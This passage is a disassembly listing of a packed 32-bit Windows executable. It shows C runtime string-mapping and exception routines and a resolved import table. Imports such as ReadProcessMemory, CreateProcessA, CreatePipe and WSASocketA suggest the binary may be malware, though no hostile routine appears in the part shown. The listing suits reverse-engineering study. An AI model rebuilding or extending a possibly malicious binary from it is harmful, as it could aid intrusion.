		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_42700B:				; CODE XREF: .XPack0:00427004j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42700C	proc near		; CODE XREF: sub_426C23+37p
					; sub_426D4A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_428D78
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_42805C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_42700C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427046	proc near		; CODE XREF: sub_426E95+56p
					; sub_426E95+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_427058
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_427058:				; CODE XREF: sub_427046+Bj
		cmp	dword_4DE684, 0
		jnz	short loc_427072
		cmp	ax, 41h
		jb	short locret_4270B9
		cmp	ax, 5Ah
		ja	short locret_4270B9
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_427072:				; CODE XREF: sub_427046+19j
		cmp	ax, 100h
		jnb	short loc_42708C
		push	1
		push	eax
		call	sub_4272F4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42708C
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_42708C:				; CODE XREF: sub_427046+30j
					; sub_427046+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DE684
		call	sub_4270BB
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_4270B9
		mov	ax, [ebp+var_2]

locret_4270B9:				; CODE XREF: sub_427046+1Fj
					; sub_427046+25j ...
		leave
		retn
sub_427046	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4270BB	proc near		; CODE XREF: sub_427046+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428D98
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DE8DC, esi
		jnz	short loc_427131
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_428928
		mov	edi, 100h
		push	edi
		push	esi
		call	dword_428050	; LCMapStringW
		test	eax, eax
		jz	short loc_42710F
		mov	dword_4DE8DC, ebx
		jmp	short loc_427131
; ---------------------------------------------------------------------------


loc_42710F:				; CODE XREF: sub_4270BB+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CE1C0
		push	edi
		push	esi
		call	dword_428054	; LCMapStringA
		test	eax, eax
		jz	loc_4272B0
		mov	dword_4DE8DC, 2


loc_427131:				; CODE XREF: sub_4270BB+2Ej
					; sub_4270BB+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_427146
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4272C4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_427146:				; CODE XREF: sub_4270BB+79j
		mov	eax, dword_4DE8DC
		cmp	eax, 1
		jnz	short loc_42716D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428050	; LCMapStringW
		jmp	loc_4272B2
; ---------------------------------------------------------------------------


loc_42716D:				; CODE XREF: sub_4270BB+93j
		cmp	eax, 2
		jnz	loc_4272B0
		cmp	[ebp+arg_18], esi
		jnz	short loc_427183
		mov	eax, dword_4DE694
		mov	[ebp+arg_18], eax


loc_427183:				; CODE XREF: sub_4270BB+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_42818C	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_4272B0
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C190
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_4271C9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_4271C9:				; CODE XREF: sub_4270BB+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_4272B0
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_42818C	; WideCharToMultiByte
		test	eax, eax
		jz	loc_4272B0
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428054	; LCMapStringA
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_4272B0
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C190
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42724C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_42724C:				; CODE XREF: sub_4270BB+17Dj
		cmp	ebx, esi
		jz	short loc_4272B0
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428054	; LCMapStringA
		test	eax, eax
		jz	short loc_4272B0
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42728A
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_4272AC
		cmp	eax, edi
		jl	short loc_42727B
		mov	eax, edi


loc_42727B:				; CODE XREF: sub_4270BB+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BC60
		add	esp, 0Ch
		jmp	short loc_4272AC
; ---------------------------------------------------------------------------


loc_42728A:				; CODE XREF: sub_4270BB+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_427293
		push	esi
		push	esi
		jmp	short loc_427299
; ---------------------------------------------------------------------------


loc_427293:				; CODE XREF: sub_4270BB+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_427299:				; CODE XREF: sub_4270BB+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	dword_4280E8	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_4272B0


loc_4272AC:				; CODE XREF: sub_4270BB+1B8j
					; sub_4270BB+1CDj
		mov	eax, edi
		jmp	short loc_4272B2
; ---------------------------------------------------------------------------


loc_4272B0:				; CODE XREF: sub_4270BB+66j
					; sub_4270BB+B5j ...
		xor	eax, eax


loc_4272B2:				; CODE XREF: sub_4270BB+ADj
					; sub_4270BB+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4270BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4272C4	proc near		; CODE XREF: sub_4270BB+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4272E3


loc_4272D4:				; CODE XREF: sub_4272C4+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_4272E3
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_4272D4


loc_4272E3:				; CODE XREF: sub_4272C4+Ej
					; sub_4272C4+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_4272F1
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4272F1:				; CODE XREF: sub_4272C4+24j
		mov	eax, edx
		retn
sub_4272C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4272F4	proc near		; CODE XREF: sub_427046+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_427334
		cmp	[ebp+arg_0], 100h
		jnb	short loc_427318
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43F61C
		mov	ax, [ecx+eax*2]
		jmp	short loc_42733B
; ---------------------------------------------------------------------------


loc_427318:				; CODE XREF: sub_4272F4+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_427346
		add	esp, 18h
		test	eax, eax
		jnz	short loc_427338


loc_427334:				; CODE XREF: sub_4272F4+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_427338:				; CODE XREF: sub_4272F4+3Ej
		mov	eax, [ebp+var_4]


loc_42733B:				; CODE XREF: sub_4272F4+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_4272F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427346	proc near		; CODE XREF: sub_4272F4+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428DB0
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DE8E0
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_4273B5
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_428928
		push	esi
		call	dword_428020	; GetStringTypeW
		test	eax, eax
		jz	short loc_427393
		mov	eax, esi
		jmp	short loc_4273B0
; ---------------------------------------------------------------------------


loc_427393:				; CODE XREF: sub_427346+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CE1C0
		push	esi
		push	edi
		call	dword_428024	; GetStringTypeA
		test	eax, eax
		jz	loc_4274F7
		push	2
		pop	eax


loc_4273B0:				; CODE XREF: sub_427346+4Bj
		mov	dword_4DE8E0, eax


loc_4273B5:				; CODE XREF: sub_427346+2Fj
		cmp	eax, 1
		jnz	short loc_4273D1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428020	; GetStringTypeW
		jmp	loc_4274F9
; ---------------------------------------------------------------------------


loc_4273D1:				; CODE XREF: sub_427346+72j
		cmp	eax, 2
		jnz	loc_4274F7
		cmp	[ebp+arg_10], edi
		jnz	short loc_4273E7
		mov	eax, dword_4DE694
		mov	[ebp+arg_10], eax


loc_4273E7:				; CODE XREF: sub_427346+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_42818C	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4274F7
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C190
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_427445
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_427445:				; CODE XREF: sub_427346+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4274F7
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_42818C	; WideCharToMultiByte
		test	eax, eax
		jz	loc_4274F7
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C190
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_42749A
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_42749A:				; CODE XREF: sub_427346+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4274F7
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_4274AE
		mov	eax, dword_4DE684


loc_4274AE:				; CODE XREF: sub_427346+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	dword_428024	; GetStringTypeA
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4274F7
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4274F7
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D300
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4274F9
; ---------------------------------------------------------------------------


loc_4274F7:				; CODE XREF: sub_427346+61j
					; sub_427346+8Ej ...
		xor	eax, eax


loc_4274F9:				; CODE XREF: sub_427346+86j
					; sub_427346+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_427346	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_42750C	proc near		; DATA XREF: .XPack0:00428F40o

; FUNCTION CHUNK AT 0040D666 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D666
sub_42750C	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_42752A
		mov	ecx, [ebp+8]
		jmp	loc_40D666
; ---------------------------------------------------------------------------

locret_42752A:				; CODE XREF: .XPack0:0042751Cj
		retn
; ---------------------------------------------------------------------------


loc_42752B:				; DATA XREF: sub_40D241o
		mov	eax, offset dword_428F44
		jmp	loc_41CF8B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D666
; ---------------------------------------------------------------------------


loc_427540:				; DATA XREF: .XPack0:00428F6Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D666
; ---------------------------------------------------------------------------


loc_427548:				; DATA XREF: sub_40D3E0o
		mov	eax, offset dword_428F70
		jmp	loc_41CF8B
; ---------------------------------------------------------------------------
		align 4


loc_427554:				; DATA XREF: sub_40D947o
		mov	eax, offset dword_428FC0
		jmp	loc_41CF8B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426FE9
; ---------------------------------------------------------------------------


loc_427566:				; DATA XREF: sub_426BAEo
		mov	eax, offset dword_428FE4
		jmp	loc_41CF8B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D666
; ---------------------------------------------------------------------------


loc_427578:				; DATA XREF: sub_426C23o
		mov	eax, offset dword_42907C
		jmp	loc_41CF8B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426FE9
; ---------------------------------------------------------------------------


loc_42758A:				; DATA XREF: sub_426C80o
		mov	eax, offset dword_4290A0
		jmp	loc_41CF8B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426FE9
; ---------------------------------------------------------------------------


loc_42759C:				; DATA XREF: sub_426CC8o
		mov	eax, offset dword_4290C4
		jmp	loc_41CF8B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D666
; ---------------------------------------------------------------------------


loc_4275AE:				; DATA XREF: sub_426D4Ao
		mov	eax, offset dword_429124
		jmp	loc_41CF8B
; ---------------------------------------------------------------------------
		dd 292h	dup(0)
dword_428000	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTime					; sub_417805+123r ...
dword_428004	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableAdword_428008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_4265D3+261r
dword_42800C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_4265D3+B9r
dword_428010	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_428014	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_428018	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_42801C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_424E33+6r
dword_428020	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_4243B4+12Dr ...
dword_428024	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_4243B4+8Dr ...
dword_428028	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_42802C	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_423EF0:loc_423F43r
dword_428030	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_4239CD+166r ...
dword_428034	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_423C91+143r
dword_428038	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_42803C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_428040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_42389B+E1r
dword_428044	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_428048	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_42804C	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_428050	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_42316A+14Dr ...
dword_428054	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_42316A+A7r ...
dword_428058	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_42805C	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_42700C+2Er
dword_428060	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_428064	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_428068	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_420788+14r ...
dword_42806C	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_40121E+7Ar ...
dword_428070	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_40121E+2C9r ...
dword_428074	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_40121E+2B1r ...
dword_428078	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_40121E+DAr ...
dword_42807C	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_40121E+C4r ...
dword_428080	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40121E+1DEr ...
dword_428084	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_401AA1+774r ...
dword_428088	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_401AA1+7646r ...
dword_42808C	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_417805+15r ...
dword_428090	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_428094	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_40121E+3D1r ...
dword_428098	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_42809C	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_40121E+20Fr ...
dword_4280A0	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_410370+10Fr ...
dword_4280A4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_4097DE+2r ...
dword_4280A8	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40121E+2FFr ...
dword_4280AC	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_4280B0	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401AA1+24FEr ...
dword_4280B4	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_40B38F+27r ...
dword_4280B8	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_4189E4+35r
dword_4280BC	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileAdword_4280C0	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4097DE:loc_409CECr ...
dword_4280C4	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4174AA+60r ...
dword_4280C8	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; sub_419C11+34r
dword_4280CC	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; .XPack0:0040AF63r
dword_4280D0	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; .XPack0:0040ADAFr ...
dword_4280D4	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_40B9E3+1ACr ...
dword_4280D8	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4280DC	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4280E0	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4280E4	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_40C485+241r
dword_4280E8	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_40DB39+65r ...
dword_4280EC	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_40EA40+19Cr ...
dword_4280F0	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_40E952+94r ...
dword_4280F4	dd 7C8312E5h	; resolved to->KERNEL32.TransactNamedPipedword_4280F8	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_40EA40+A4r ...
dword_4280FC	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_428100	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_411968+119r ...
dword_428104	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandle					; sub_411BB6+77r ...
dword_428108	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_40F219+10Ar ...
dword_42810C	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_411ABD+23r ...
dword_428110	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatA					; sub_41B0A1+1B6r
dword_428114	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatA					; sub_41B0A1+19Fr
dword_428118	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_410CA0+38r ...
dword_42811C	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_417358+C0r ...
dword_428120	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTime					; sub_417805+135r
dword_428124	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_41061F+5DCr ...
dword_428128	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_417358+26r
dword_42812C	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_4163CE+259r ...
dword_428130	dd 7C81B58Bh	; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_428134	dd 7C80A05Dh	; resolved to->KERNEL32.WaitForMultipleObjectsdword_428138	dd 7C873A31h	; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_42813C	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4138D3+2D4r ...
dword_428140	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_414628+FFr
dword_428144	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_41D71B+Dr
dword_428148	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_418C2F+C3r
dword_42814C	dd 7C80F0F4h	; resolved to->KERNEL32.GetEnvironmentVariableWdword_428150	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_41767C+F5r ...
dword_428154	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_417805+4Ar ...
dword_428158	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; sub_417805+40r ...
dword_42815C	dd 7C80B9A0h	; resolved to->KERNEL32.VirtualQueryEx					; sub_4179A9+53r
dword_428160	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory					; sub_4179A9+95r
dword_428164	dd 7C812D56h	; resolved to->KERNEL32.GetSystemInfo					; sub_4179A9+2Cr
dword_428168	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_42816C	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_428170	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLockdword_428174	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_428178	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_42817C	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_428180	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_428184	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_428188	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_42818C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_42316A+20Dr ...
dword_428190	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_428194	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_428198	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipedword_42819C	dd 7C830B14h	; resolved to->KERNEL32.GetLogicalDrivesdword_4281A0	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_4281A4	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41B872+22Dr ...
dword_4281A8	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4281AC	dd 7C8350BFh	; resolved to->KERNEL32.GetTimeZoneInformation					; sub_424EBC+38r
dword_4281B0	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_4281B4	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_4239CD+59r
dword_4281B8	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4281BC	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4281C0	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_4281C4	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_4281C8	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_4281CC	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; sub_41F016+120r ...
dword_4281D0	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41EC25+51r ...
dword_4281D4	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtr		dd 0
dword_4281DC	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; .XPack0:0042916Co
